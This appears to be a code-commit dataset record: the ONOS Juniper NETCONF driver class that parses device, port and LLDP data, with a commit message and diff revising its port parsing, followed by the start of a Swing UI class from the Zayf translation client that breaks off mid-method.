* Tested with MX240 junos 14.2
*/
public final class JuniperUtils {
private static final Logger log = getLogger(JuniperUtils.class);
public static final String FAILED_CFG = "Failed to retrieve configuration.";
private static final String RPC_TAG_NETCONF_BASE = "<rpc xmlns=\"urn:ietf:params:xml:ns:netconf:base:1.0\">";
private static final String RPC_CLOSE_TAG = "</rpc>";
//requests
public static final String REQ_LLDP_NBR_INFO = "<get-lldp-neighbors-information/>";
public static final String REQ_SYS_INFO = "<get-system-information/>";
public static final String REQ_MAC_ADD_INFO = "<get-chassis-mac-addresses/>";
public static final String REQ_IF_INFO = "<get-interface-information/>";
//helper strings for parsing
private static final String LLDP_LIST_NBR_INFO = "lldp-neighbors-information";
private static final String LLDP_NBR_INFO = "lldp-neighbor-information";
private static final String SYS_INFO = "system-information";
private static final String HW_MODEL = "hardware-model";
private static final String OS_NAME = "os-name";
private static final String OS_VER = "os-version";
private static final String SER_NUM = "serial-number";
private static final String IF_INFO = "interface-information";
private static final String IF_PHY = "physical-interface";
private static final String IF_TYPE = "if-type";
private static final String SPEED = "speed";
private static final String ETH = "Ethernet";
private static final String MBPS = "mbps";
private static final String NAME = "name";
private static final String IF_LO_ENCAP = "logical-interface.encapsulation";
private static final String IF_LO_NAME = "logical-interface.name";
private static final String IF_LO_ADD =
"logical-interface.address-family.interface-address.ifa-local";
private static final String LO_INDEX = "local-index";
private static final String STATUS = "admin-status";
private static final String SNMP_INDEX = "snmp-index";
private static final String IF_LO_INDEX = "logical-interface.local-index";
private static final String IF_LO_STATUS =
"logical-interface.if-config-flags.iff-up";
private static final String LLDP_LO_PORT = "lldp-local-port-id";
private static final String LLDP_REM_CHASS = "lldp-remote-chassis-id";
private static final String LLDP_REM_PORT = "lldp-remote-port-id";
private static final String REGEX_ADD =
".*Private base address\\s*([:,0-9,a-f,A-F]*).*";
private static final Pattern ADD_PATTERN =
Pattern.compile(REGEX_ADD, Pattern.DOTALL);
private static final String JUNIPER = "JUNIPER";
private static final String UNKNOWN = "UNKNOWN";
private static final long DEFAULT_PORT_SPEED = 1000;
private JuniperUtils() {
//not called, preventing any allocation
}
/**
* Helper method to build a XML schema given a request.
*
* @param request a tag element of the XML schema
* @return string containing the XML schema
*/
public static String requestBuilder(String request) {
return RPC_TAG_NETCONF_BASE +
request + RPC_CLOSE_TAG;
}
/**
* Parses device configuration and returns the device description.
*
* @param deviceId the id of the device
* @param sysInfoCfg system configuration
* @param chassisText chassis string
* @return device description
*/
public static DeviceDescription parseJuniperDescription(DeviceId deviceId,
HierarchicalConfiguration sysInfoCfg,
String chassisText) {
HierarchicalConfiguration info = sysInfoCfg.configurationAt(SYS_INFO);
String hw = info.getString(HW_MODEL) == null ? UNKNOWN : info.getString(HW_MODEL);
String sw = UNKNOWN;
if (info.getString(OS_NAME) != null || info.getString(OS_VER) != null) {
sw = info.getString(OS_NAME) + " " + info.getString(OS_VER);
}
String serial = info.getString(SER_NUM) == null ? UNKNOWN : info.getString(SER_NUM);
Matcher matcher = ADD_PATTERN.matcher(chassisText);
if (matcher.lookingAt()) {
String chassis = matcher.group(1);
MacAddress chassisMac = MacAddress.valueOf(chassis);
return new DefaultDeviceDescription(deviceId.uri(), ROUTER,
JUNIPER, hw, sw, serial,
new ChassisId(chassisMac.toLong()),
DefaultAnnotations.EMPTY);
}
return new DefaultDeviceDescription(deviceId.uri(), ROUTER,
JUNIPER, hw, sw, serial,
null, DefaultAnnotations.EMPTY);
}
/**
* Parses device ports configuration and returns a list of
* port description.
*
* @param cfg interface configuration
* @return list of interface descriptions of the device
*/
public static List<PortDescription> parseJuniperPorts(HierarchicalConfiguration cfg) {
//This methods ignores some internal ports
List<PortDescription> portDescriptions = Lists.newArrayList();
List<HierarchicalConfiguration> subtrees =
cfg.configurationsAt(IF_INFO);
for (HierarchicalConfiguration interfInfo : subtrees) {
List<HierarchicalConfiguration> interfaceTree =
interfInfo.configurationsAt(IF_PHY);
for (HierarchicalConfiguration interf : interfaceTree) {
if (interf != null) {
if (interf.getString(IF_TYPE) != null &&
interf.getString(SPEED) != null) {
if (interf.getString(IF_TYPE).contains(ETH) &&
interf.getString(SPEED).contains(MBPS)) {
portDescriptions.add(parseDefaultPort(interf));
} else {
log.debug("Ignoring default port candidate {}",
interf.getString(NAME));
}
} else if (interf.getString(IF_LO_ENCAP) != null &&
!interf.getString(NAME).contains("pfe") &&
interf.getString(IF_LO_ENCAP).contains("ENET2")) {
portDescriptions.add(parseLogicalPort(interf));
} else if (interf.getString(NAME).contains("lo")) {
portDescriptions.add(parseLoopback(interf));
} else {
log.debug("Ignoring unknown port {}",
interf.getString(NAME));
}
}
}
}
return portDescriptions;
}
private static PortDescription parseLoopback(HierarchicalConfiguration cfg) {
String name = cfg.getString(IF_LO_NAME).trim();
PortNumber portNumber = portNumber(name.replace("lo0.", ""));
Builder annotationsBuilder = DefaultAnnotations.builder()
.set(AnnotationKeys.PORT_NAME, name);
String ip = cfg.getString(IF_LO_ADD);
if (ip != null) {
annotationsBuilder.set("ip", ip);
}
return new DefaultPortDescription(portNumber,
true,
COPPER,
DEFAULT_PORT_SPEED,
annotationsBuilder.build());
}
private static DefaultPortDescription parseDefaultPort(HierarchicalConfiguration cfg) {
PortNumber portNumber = portNumber(cfg.getString(LO_INDEX));
boolean enabled = "up".equals(cfg.getString(STATUS));
int speed = parseInt(cfg.getString(SPEED).replaceAll(MBPS, ""));
Builder annotationsBuilder = DefaultAnnotations.builder()
.set(AnnotationKeys.PORT_NAME, cfg.getString(NAME).trim());
setIpIfPresent(cfg, annotationsBuilder);
return new DefaultPortDescription(portNumber,
enabled,
COPPER,
speed,
annotationsBuilder.build());
}
private static DefaultPortDescription parseLogicalPort(HierarchicalConfiguration cfg) {
String name = cfg.getString(NAME).trim();
String index = cfg.getString(SNMP_INDEX).trim();
Builder annotationsBuilder = DefaultAnnotations.builder()
.set(AnnotationKeys.PORT_NAME, name)
.set("index", index);
setIpIfPresent(cfg, annotationsBuilder);
PortNumber portNumber = PortNumber.portNumber(index);
boolean enabled = false;
if (cfg.getString(IF_LO_STATUS) != null) {
enabled = true;
}
//FIXME: port speed should be exposed
return new DefaultPortDescription(
portNumber,
enabled,
COPPER,
DEFAULT_PORT_SPEED,
annotationsBuilder.build());
}
private static void setIpIfPresent(HierarchicalConfiguration cfg,
Builder annotationsBuilder) {
String ip = cfg.getString(IF_LO_ADD);
if (ip != null) {
annotationsBuilder.set("ip", ip);
}
}
/**
* Create two LinkDescriptions corresponding to the bidirectional links.
*
* @param localDevId the identity of the local device
* @param localPort the port of the local device
* @param remoteDevId the identity of the remote device
* @param remotePort the port of the remote device
* @param descs the collection to which the link descriptions
* should be added
*/
public static void createBiDirLinkDescription(DeviceId localDevId,
Port localPort,
DeviceId remoteDevId,
Port remotePort,
Set<LinkDescription> descs) {
ConnectPoint local = new ConnectPoint(localDevId, localPort.number());
ConnectPoint remote = new ConnectPoint(remoteDevId, remotePort.number());
DefaultAnnotations annotations = DefaultAnnotations.builder()
.set("layer", "IP")
.build();
descs.add(new DefaultLinkDescription(
local, remote, Link.Type.INDIRECT, false, annotations));
descs.add(new DefaultLinkDescription(
remote, local, Link.Type.INDIRECT, false, annotations));
}
/**
* Parses neighbours discovery information and returns a list of
* link abstractions.
*
* @param info interface configuration
* @return set of link abstractions
*/
public static Set<LinkAbstraction> parseJuniperLldp(HierarchicalConfiguration info) {
Set<LinkAbstraction> neighbour = new HashSet<>();
List<HierarchicalConfiguration> subtrees =
info.configurationsAt(LLDP_LIST_NBR_INFO);
for (HierarchicalConfiguration neighborsInfo : subtrees) {
List<HierarchicalConfiguration> neighbors =
neighborsInfo.configurationsAt(LLDP_NBR_INFO);
for (HierarchicalConfiguration neighbor : neighbors) {
String localPortName = neighbor.getString(LLDP_LO_PORT);
MacAddress mac = MacAddress.valueOf(
neighbor.getString(LLDP_REM_CHASS));
int remotePortIndex =
neighbor.getInt(LLDP_REM_PORT);
LinkAbstraction link = new LinkAbstraction(
localPortName,
mac.toLong(),
remotePortIndex);
neighbour.add(link);
}
}
return neighbour;
}
/**
* Device representation of the adjacency at the IP Layer.
*/
protected static final class LinkAbstraction {
protected String localPortName;
protected ChassisId remoteChassisId;
protected int remotePortIndex;
protected LinkAbstraction(String pName, long chassisId, int pIndex) {
this.localPortName = pName;
this.remoteChassisId = new ChassisId(chassisId);
this.remotePortIndex = pIndex;
}
}
}
| ONOS-6323 Revise Juniper driver
- use snmp-index as port number, which seems to be unique.
duplicates were observed for local-index
- physical-interface Port's enabled state is admin-status & oper-status (was only admin-status)
- logical-interface Port's enabled state is above & if-config-flags.contains(iff-up)
Note: local loopback also falls into this category
- logical-interface Port's portSpeed is inherited from parent physical interface speed.
Change-Id: Ie70d07589db01f6b394c90cb1e599b5eb2f8ec91
| drivers/juniper/src/main/java/org/onosproject/drivers/juniper/JuniperUtils.java | ONOS-6323 Revise Juniper driver | <ide><path>rivers/juniper/src/main/java/org/onosproject/drivers/juniper/JuniperUtils.java
<ide>
<ide> package org.onosproject.drivers.juniper;
<ide>
<del>import com.google.common.collect.Lists;
<ide> import org.apache.commons.configuration.HierarchicalConfiguration;
<ide> import org.onlab.packet.ChassisId;
<ide> import org.onlab.packet.MacAddress;
<ide> import org.onosproject.net.AnnotationKeys;
<ide> import org.onosproject.net.ConnectPoint;
<ide> import org.onosproject.net.DefaultAnnotations;
<add>import org.onosproject.net.DefaultAnnotations.Builder;
<ide> import org.onosproject.net.DeviceId;
<ide> import org.onosproject.net.Link;
<ide> import org.onosproject.net.Port;
<ide> import org.onosproject.net.PortNumber;
<add>import org.onosproject.net.Port.Type;
<ide> import org.onosproject.net.device.DefaultDeviceDescription;
<ide> import org.onosproject.net.device.DefaultPortDescription;
<ide> import org.onosproject.net.device.DeviceDescription;
<ide> import org.onosproject.net.link.LinkDescription;
<ide> import org.slf4j.Logger;
<ide>
<add>import com.google.common.base.Strings;
<add>
<add>import java.util.ArrayList;
<ide> import java.util.HashSet;
<ide> import java.util.List;
<ide> import java.util.Set;
<ide> import java.util.regex.Matcher;
<ide> import java.util.regex.Pattern;
<ide>
<del>import static java.lang.Integer.parseInt;
<del>import static org.onosproject.net.DefaultAnnotations.Builder;
<ide> import static org.onosproject.net.Device.Type.ROUTER;
<del>import static org.onosproject.net.Port.Type.COPPER;
<ide> import static org.onosproject.net.PortNumber.portNumber;
<ide> import static org.slf4j.LoggerFactory.getLogger;
<ide>
<add>// Ref: Junos YANG:
<add>// https://github.com/Juniper/yang
<ide> /**
<ide> * Utility class for Netconf XML for Juniper.
<ide> * Tested with MX240 junos 14.2
<ide> private static final String SER_NUM = "serial-number";
<ide> private static final String IF_INFO = "interface-information";
<ide> private static final String IF_PHY = "physical-interface";
<add>
<ide> private static final String IF_TYPE = "if-type";
<ide> private static final String SPEED = "speed";
<del> private static final String ETH = "Ethernet";
<del> private static final String MBPS = "mbps";
<ide> private static final String NAME = "name";
<del> private static final String IF_LO_ENCAP = "logical-interface.encapsulation";
<del> private static final String IF_LO_NAME = "logical-interface.name";
<del> private static final String IF_LO_ADD =
<del> "logical-interface.address-family.interface-address.ifa-local";
<del> private static final String LO_INDEX = "local-index";
<del> private static final String STATUS = "admin-status";
<add>
<add> // seems to be unique index within device
<ide> private static final String SNMP_INDEX = "snmp-index";
<del> private static final String IF_LO_INDEX = "logical-interface.local-index";
<del> private static final String IF_LO_STATUS =
<del> "logical-interface.if-config-flags.iff-up";
<add>
<ide> private static final String LLDP_LO_PORT = "lldp-local-port-id";
<ide> private static final String LLDP_REM_CHASS = "lldp-remote-chassis-id";
<ide> private static final String LLDP_REM_PORT = "lldp-remote-port-id";
<ide>
<ide> private static final String JUNIPER = "JUNIPER";
<ide> private static final String UNKNOWN = "UNKNOWN";
<add>
<add> /**
<add> * Annotation key for interface type.
<add> */
<add> static final String AK_IF_TYPE = "ifType";
<add>
<add> /**
<add> * Annotation key for Logical link-layer encapsulation.
<add> */
<add> static final String AK_ENCAPSULATION = "encapsulation";
<add>
<add> /**
<add> * Annotation key for interface description.
<add> */
<add> static final String AK_DESCRIPTION = "description";
<add>
<add> /**
<add> * Annotation key for interface admin status. "up"/"down"
<add> */
<add> static final String AK_ADMIN_STATUS = "adminStatus";
<add>
<add> /**
<add> * Annotation key for interface operational status. "up"/"down"
<add> */
<add> static final String AK_OPER_STATUS = "operStatus";
<add>
<add> /**
<add> * Annotation key for logical-interfaces parent physical interface name.
<add> */
<add> static final String AK_PHYSICAL_PORT_NAME = "physicalPortName";
<add>
<add>
<add> private static final String NUMERIC_SPEED_REGEXP = "(\\d+)([GM])bps";
<add>
<add> /**
<add> * {@value #NUMERIC_SPEED_REGEXP} as {@link Pattern}.
<add> * Case insensitive
<add> */
<add> private static final Pattern SPEED_PATTERN =
<add> Pattern.compile(NUMERIC_SPEED_REGEXP, Pattern.CASE_INSENSITIVE);
<add>
<add> /**
<add> * Default port speed {@value} Mbps.
<add> */
<ide> private static final long DEFAULT_PORT_SPEED = 1000;
<ide>
<ide>
<ide> public static List<PortDescription> parseJuniperPorts(HierarchicalConfiguration cfg) {
<ide> //This methods ignores some internal ports
<ide>
<del> List<PortDescription> portDescriptions = Lists.newArrayList();
<add> List<PortDescription> portDescriptions = new ArrayList<>();
<ide> List<HierarchicalConfiguration> subtrees =
<ide> cfg.configurationsAt(IF_INFO);
<ide> for (HierarchicalConfiguration interfInfo : subtrees) {
<ide> List<HierarchicalConfiguration> interfaceTree =
<ide> interfInfo.configurationsAt(IF_PHY);
<del> for (HierarchicalConfiguration interf : interfaceTree) {
<del> if (interf != null) {
<del> if (interf.getString(IF_TYPE) != null &&
<del> interf.getString(SPEED) != null) {
<del> if (interf.getString(IF_TYPE).contains(ETH) &&
<del> interf.getString(SPEED).contains(MBPS)) {
<del> portDescriptions.add(parseDefaultPort(interf));
<del> } else {
<del> log.debug("Ignoring default port candidate {}",
<del> interf.getString(NAME));
<del> }
<del> } else if (interf.getString(IF_LO_ENCAP) != null &&
<del> !interf.getString(NAME).contains("pfe") &&
<del> interf.getString(IF_LO_ENCAP).contains("ENET2")) {
<del> portDescriptions.add(parseLogicalPort(interf));
<del> } else if (interf.getString(NAME).contains("lo")) {
<del> portDescriptions.add(parseLoopback(interf));
<del> } else {
<del> log.debug("Ignoring unknown port {}",
<del> interf.getString(NAME));
<del> }
<add> for (HierarchicalConfiguration phyIntf : interfaceTree) {
<add> if (phyIntf == null) {
<add> continue;
<ide> }
<add> // parse physical Interface
<add> parsePhysicalInterface(portDescriptions, phyIntf);
<ide> }
<ide> }
<ide> return portDescriptions;
<ide> }
<ide>
<del> private static PortDescription parseLoopback(HierarchicalConfiguration cfg) {
<del> String name = cfg.getString(IF_LO_NAME).trim();
<del> PortNumber portNumber = portNumber(name.replace("lo0.", ""));
<del>
<del> Builder annotationsBuilder = DefaultAnnotations.builder()
<del> .set(AnnotationKeys.PORT_NAME, name);
<del> String ip = cfg.getString(IF_LO_ADD);
<del> if (ip != null) {
<del> annotationsBuilder.set("ip", ip);
<del> }
<del>
<del> return new DefaultPortDescription(portNumber,
<del> true,
<del> COPPER,
<del> DEFAULT_PORT_SPEED,
<del> annotationsBuilder.build());
<del> }
<del>
<del> private static DefaultPortDescription parseDefaultPort(HierarchicalConfiguration cfg) {
<del> PortNumber portNumber = portNumber(cfg.getString(LO_INDEX));
<del> boolean enabled = "up".equals(cfg.getString(STATUS));
<del> int speed = parseInt(cfg.getString(SPEED).replaceAll(MBPS, ""));
<del>
<del>
<del> Builder annotationsBuilder = DefaultAnnotations.builder()
<del> .set(AnnotationKeys.PORT_NAME, cfg.getString(NAME).trim());
<del> setIpIfPresent(cfg, annotationsBuilder);
<del>
<del> return new DefaultPortDescription(portNumber,
<del> enabled,
<del> COPPER,
<del> speed,
<del> annotationsBuilder.build());
<del> }
<del>
<del> private static DefaultPortDescription parseLogicalPort(HierarchicalConfiguration cfg) {
<del>
<del> String name = cfg.getString(NAME).trim();
<del> String index = cfg.getString(SNMP_INDEX).trim();
<del> Builder annotationsBuilder = DefaultAnnotations.builder()
<del> .set(AnnotationKeys.PORT_NAME, name)
<del> .set("index", index);
<del> setIpIfPresent(cfg, annotationsBuilder);
<del>
<del> PortNumber portNumber = PortNumber.portNumber(index);
<del>
<del> boolean enabled = false;
<del> if (cfg.getString(IF_LO_STATUS) != null) {
<del> enabled = true;
<del> }
<del> //FIXME: port speed should be exposed
<del> return new DefaultPortDescription(
<del> portNumber,
<del> enabled,
<del> COPPER,
<del> DEFAULT_PORT_SPEED,
<del> annotationsBuilder.build());
<del> }
<del>
<del> private static void setIpIfPresent(HierarchicalConfiguration cfg,
<del> Builder annotationsBuilder) {
<del> String ip = cfg.getString(IF_LO_ADD);
<del> if (ip != null) {
<del> annotationsBuilder.set("ip", ip);
<del> }
<add> /**
<add> * Parses {@literal physical-interface} tree.
<add> *
<add> * @param portDescriptions list to populate Ports found parsing configuration
<add> * @param phyIntf physical-interface
<add> */
<add> private static void parsePhysicalInterface(List<PortDescription> portDescriptions,
<add> HierarchicalConfiguration phyIntf) {
<add> Builder annotations = DefaultAnnotations.builder();
<add> PortNumber portNumber = portNumber(phyIntf.getString(SNMP_INDEX));
<add> String phyPortName = phyIntf.getString(NAME);
<add> if (portNumber == null) {
<add> log.debug("Skipping physical-interface {}, no PortNumer",
<add> phyPortName);
<add> log.trace(" {}", phyIntf);
<add> return;
<add> }
<add>
<add> setIfNonNull(annotations,
<add> AnnotationKeys.PORT_NAME,
<add> phyPortName);
<add>
<add> setIfNonNull(annotations,
<add> AnnotationKeys.PORT_MAC,
<add> phyIntf.getString("current-physical-address"));
<add>
<add> setIfNonNull(annotations,
<add> AK_IF_TYPE,
<add> phyIntf.getString(IF_TYPE));
<add>
<add> setIfNonNull(annotations,
<add> AK_DESCRIPTION,
<add> phyIntf.getString("description"));
<add>
<add> boolean opUp = phyIntf.getString(AK_OPER_STATUS, "down").equals("up");
<add> annotations.set("oper-status", toUpDown(opUp));
<add>
<add> boolean admUp = phyIntf.getString(AK_ADMIN_STATUS, "down").equals("up");
<add> annotations.set("admin-status", toUpDown(admUp));
<add>
<add> long portSpeed = toMbps(phyIntf.getString(SPEED));
<add>
<add> portDescriptions.add(new DefaultPortDescription(portNumber,
<add> admUp & opUp,
<add> Type.COPPER,
<add> portSpeed,
<add> annotations.build()));
<add>
<add> // parse each logical Interface
<add> for (HierarchicalConfiguration logIntf : phyIntf.configurationsAt("logical-interface")) {
<add> if (logIntf == null) {
<add> continue;
<add> }
<add> PortNumber lPortNumber = safePortNumber(logIntf.getString(SNMP_INDEX));
<add> if (lPortNumber == null) {
<add> log.debug("Skipping logical-interface {} under {}, no PortNumer",
<add> logIntf.getString(NAME), phyPortName);
<add> log.trace(" {}", logIntf);
<add> continue;
<add> }
<add>
<add> Builder lannotations = DefaultAnnotations.builder();
<add> setIfNonNull(lannotations,
<add> AnnotationKeys.PORT_NAME,
<add> logIntf.getString(NAME));
<add> setIfNonNull(lannotations,
<add> AK_PHYSICAL_PORT_NAME,
<add> phyPortName);
<add>
<add> String afName = logIntf.getString("address-family.address-family-name");
<add> String address = logIntf.getString("address-family.interface-address.ifa-local");
<add> if (afName != null && address != null) {
<add> // e.g., inet : IPV4, inet6 : IPV6
<add> setIfNonNull(lannotations, afName, address);
<add> }
<add>
<add> // preserving former behavior
<add> setIfNonNull(lannotations,
<add> "ip",
<add> logIntf.getString("address-family.interface-address.ifa-local"));
<add>
<add> setIfNonNull(lannotations,
<add> AK_ENCAPSULATION, logIntf.getString("encapsulation"));
<add>
<add> // TODO confirm if this is correct.
<add> // Looking at sample data,
<add> // it seemed all logical loop-back interfaces were down
<add> boolean lEnabled = logIntf.getString("if-config-flags.iff-up") != null;
<add>
<add> portDescriptions.add(new DefaultPortDescription(lPortNumber,
<add> admUp & opUp & lEnabled,
<add> Type.COPPER,
<add> portSpeed,
<add> lannotations.build()));
<add> }
<add> }
<add>
<add> /**
<add> * Port status as "up"/"down".
<add> *
<add> * @param portStatus port status
<add> * @return "up" if {@code portStats} is {@literal true}, "down" otherwise
<add> */
<add> static String toUpDown(boolean portStatus) {
<add> return portStatus ? "up" : "down";
<add> }
<add>
<add> /**
<add> * Translate interface {@literal speed} value as Mbps value.
<add> *
<add> * Note: {@literal Unlimited} and unrecognizable string will be treated as
<add> * {@value #DEFAULT_PORT_SPEED} Mbps.
<add> *
<add> * @param speed in String
<add> * @return Mbps
<add> */
<add> static long toMbps(String speed) {
<add> String s = Strings.nullToEmpty(speed).trim().toLowerCase();
<add> Matcher matcher = SPEED_PATTERN.matcher(s);
<add> if (matcher.matches()) {
<add> // numeric
<add> int n = Integer.parseInt(matcher.group(1));
<add> String unit = matcher.group(2);
<add> if ("m".equalsIgnoreCase(unit)) {
<add> // Mbps
<add> return n;
<add> } else {
<add> // assume Gbps
<add> return 1000 * n;
<add> }
<add> }
<add> log.trace("Treating unknown speed value {} as default", speed);
<add> // Unlimited or unrecognizable
<add> return DEFAULT_PORT_SPEED;
<add> }
<add>
<add> /**
<add> * Sets annotation entry if {@literal value} was not {@literal null}.
<add> *
<add> * @param builder Annotation Builder
<add> * @param key Annotation key
<add> * @param value Annotation value (can be {@literal null})
<add> */
<add> static void setIfNonNull(Builder builder, String key, String value) {
<add> if (value != null) {
<add> builder.set(key, value.trim());
<add> }
<add> }
<add>
<add> /**
<add> * Creates PortNumber instance from String.
<add> *
<add> * Instead for throwing Exception, it will return null on format error.
<add> *
<add> * @param s port number as string
<add> * @return PortNumber instance or null on error
<add> */
<add> static PortNumber safePortNumber(String s) {
<add> try {
<add> return portNumber(s);
<add> } catch (RuntimeException e) {
<add> log.trace("Failed parsing PortNumber {}", s, e);
<add> }
<add> return null;
<ide> }
<ide>
<ide> /** |
|
Java | lgpl-2.1 | dbde3a31f6f1c6f0d4f16db87d9ae8269fc60bb2 | 0 | davidmason/zayf | /*
* Zayf (Zanata at your Fingertips) - a Zanata client for unstable connections
* Copyright (C) 2012 Alister Symons and David Mason
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
package org.davidmason.zayf.ui;
//import org.apache.log4j.lf5.viewer.categoryexplorer.TreeModelAdapter; //TODO: wat?
import org.zanata.common.ContentState;
import org.zanata.common.LocaleId;
import org.zanata.rest.dto.*;
import org.zanata.rest.dto.resource.*;
import org.davidmason.zayf.rest.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.tree.*;
import java.util.ArrayList;
import java.util.List;
import java.awt.*;
import java.awt.event.*;
import java.net.URL;
/**
* Swing UI for Zayf client
*
* @author A.S.
*/
@SuppressWarnings({"serial", "unused"})
public class ZayfView extends JFrame
{
private JMenuBar menuBar;
private ProjectsTree displayTree;
private DefaultMutableTreeNode rootNode;
private DefaultTreeModel treeModel;
private JScrollPane treeView;
private TextFlowPanel textFlowPanel;
private TextFlowTargetPanel textFlowTargetPanel;
private StatusBar statusBar;
private Container centrePanel;
private ServerProxy serverProxy;
private String url = "http://localhost:8080/zanata/";
private String userName = "admin";
private String apiKey = "REDACTED";
private LocaleId targetLocale = new LocaleId("en-US");
/*
private List<Project> projects;
private List<ProjectIteration> iterations;
private List<ResourceMeta> docs;
private List<TextFlow> textFlows;
private List<TextFlowTarget> textFlowTargets;
*/
public ZayfView() //throws MalformedURLException, URISyntaxException
{
setLayout(new BorderLayout()); //use absolute positioning
setBounds(0, 0, 640, 480);
setLocationRelativeTo(null); //centre screen
setUpMenus();
setUpTree();
setUpTextFlowPanels();
addComponents();
setUpServerProxy();
getProjects();
setTitle("Zayf v 0.00000001");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setVisible(true);
}
/**
* set up Text fields for displaying text flows and text flow targets
*/
private void setUpTextFlowPanels()
{
centrePanel = new JPanel();
centrePanel.setLayout(new BoxLayout(centrePanel, BoxLayout.PAGE_AXIS));
textFlowPanel = new TextFlowPanel();
textFlowTargetPanel = new TextFlowTargetPanel(targetLocale);
clearTextPanes();
centrePanel.add(textFlowPanel);
centrePanel.add(textFlowTargetPanel);
}
private void clearTextPanes()
{
textFlowPanel.clear();
}
/**
* set up Tree view
*/
private void setUpTree()
{
rootNode = new DefaultMutableTreeNode(url);
treeModel = new DefaultTreeModel(rootNode);
displayTree = new ProjectsTree(treeModel);
displayTree.setPreferredSize(new Dimension(200, 200));
treeView = new JScrollPane(displayTree);
/*displayTree.addTreeExpansionListener(new TreeExpansionListener()
{
@Override
public void treeExpanded(TreeExpansionEvent event)
{
//System.exit(0);
// TODO Auto-generated method stub
}
@Override
public void treeCollapsed(TreeExpansionEvent event)
{
// TODO Auto-generated method stub
}
});*/
displayTree.addTreeSelectionListener(new TreeSelectionListener()
{
@Override
public void valueChanged(TreeSelectionEvent e)
{
DefaultMutableTreeNode node =
(DefaultMutableTreeNode) e.getNewLeadSelectionPath().getLastPathComponent();
if (node == null)
return;
Object nodeObject = node.getUserObject();
if (nodeObject instanceof TextFlow)
{
//show text flow content
TextFlow tf = (TextFlow) nodeObject;
textFlowPanel.update(tf);
int childCount = node.getParent().getChildCount();
outerLoop:
for (int i = 0; i < childCount; i++)
{
DefaultMutableTreeNode TFTnode =
(DefaultMutableTreeNode) node.getParent().getChildAt(i);
if (TFTnode.getUserObject() instanceof TextFlowTarget)
{
//show text flow target content
TextFlowTarget tft = (TextFlowTarget) TFTnode.getUserObject();
if (tft.getResId() == tf.getId())
{
textFlowTargetPanel.update(tft);
break outerLoop;
}
textFlowTargetPanel.notFoundError();
}
}
}
else if (nodeObject instanceof TextFlowTarget)
{
//show text flow target content
TextFlowTarget tft = (TextFlowTarget) nodeObject;
textFlowTargetPanel.update(tft);
int childCount = node.getParent().getChildCount();
outerLoop:
for (int i = 0; i < childCount; i++)
{
DefaultMutableTreeNode TFnode =
(DefaultMutableTreeNode) node.getParent().getChildAt(i);
if (TFnode.getUserObject() instanceof TextFlow)
{
//show text flow content
TextFlow tf = (TextFlow) TFnode.getUserObject();
if (tft.getResId() == tf.getId())
{
textFlowPanel.update(tf);
break outerLoop;
}
textFlowPanel.notFoundError(); //theoretically impossible
}
}
}
else
clearTextPanes();
}
});
}
/**
* add Swing components to frame
*/
private void addComponents()
{
JPanel topPanel = new JPanel(new BorderLayout());
topPanel.add(menuBar, BorderLayout.NORTH);
add(topPanel, BorderLayout.NORTH);
add(treeView, BorderLayout.WEST);
add(centrePanel, BorderLayout.CENTER);
statusBar = new StatusBar();
add(statusBar, BorderLayout.SOUTH);
}
/** set up the menu bar */
private void setUpMenus()
{
menuBar = new JMenuBar();
setUpFileMenu();
}
/** set up File menu and add to menu bar */
private void setUpFileMenu()
{
JMenu menu = new JMenu("File");
menu.setMnemonic(KeyEvent.VK_F);
JMenuItem menuItem = new JMenuItem("Connect...", KeyEvent.VK_C);
menuItem.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_SPACE, ActionEvent.CTRL_MASK));
//TODO: figure out why shortcut only works when menu has focus, fix
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
openNewConnectionFrame();
}
});
menu.add(menuItem);
menuItem = new JMenuItem("Disconnect", KeyEvent.VK_D);
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
//TODO:
}
});
menu.add(menuItem);
menuItem = new JMenuItem("Save Project...", KeyEvent.VK_S);
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
//TODO:
}
});
menu.add(menuItem);
menuItem = new JMenuItem("Exit", KeyEvent.VK_X);
menuItem.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_F4, ActionEvent.ALT_MASK));
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
quit();
}
});
menu.add(menuItem);
menuBar.add(menu);
}
/** cleanup and exit program */
private void quit()
{
//TODO: cleanup
System.exit(0);
}
/**
* get projects from server and populate tree
*/
private void getProjects()
{
for (Project project : serverProxy.getProjectList())
{
DefaultMutableTreeNode projectBranch = new DefaultMutableTreeNode(project);
rootNode.add(projectBranch);
//TODO: load child nodes on expansion only.
for (ProjectIteration iteration : serverProxy.getVersionList(project.getId())) //get iterations from SP
{
DefaultMutableTreeNode iterationBranch = new DefaultMutableTreeNode(iteration);
projectBranch.add(iterationBranch);
for (ResourceMeta doc : serverProxy.getDocList(project.getId(), iteration.getId())) //get docs from SP
{
DefaultMutableTreeNode docBranch = new DefaultMutableTreeNode(doc);
iterationBranch.add(docBranch);
for (TextFlow tf : serverProxy.getTextFlows(project.getId(), iteration.getId(),
doc.getName()))
{
DefaultMutableTreeNode tfNode = new DefaultMutableTreeNode(tf);
docBranch.add(tfNode);
}
for (TextFlowTarget tft : serverProxy.getTargets(project.getId(), iteration.getId(),
targetLocale, doc.getName()))
{
DefaultMutableTreeNode tftNode = new DefaultMutableTreeNode(tft);
docBranch.add(tftNode);
}
}
}
}
treeModel = new DefaultTreeModel(rootNode);
displayTree = new ProjectsTree(treeModel);
displayTree.setPreferredSize(new Dimension(200, 200));
treeView = new JScrollPane(displayTree);
((DefaultTreeModel) displayTree.getModel()).reload();
}
/** opens a modal dialog which allows the user to connect to a database */
private void openNewConnectionFrame()
{
NewConnectionFrame ncf = new NewConnectionFrame();
if (ncf.connectPressed())
{
try
{
//TODO: if connected, disconnect (if SP can force disconnect)
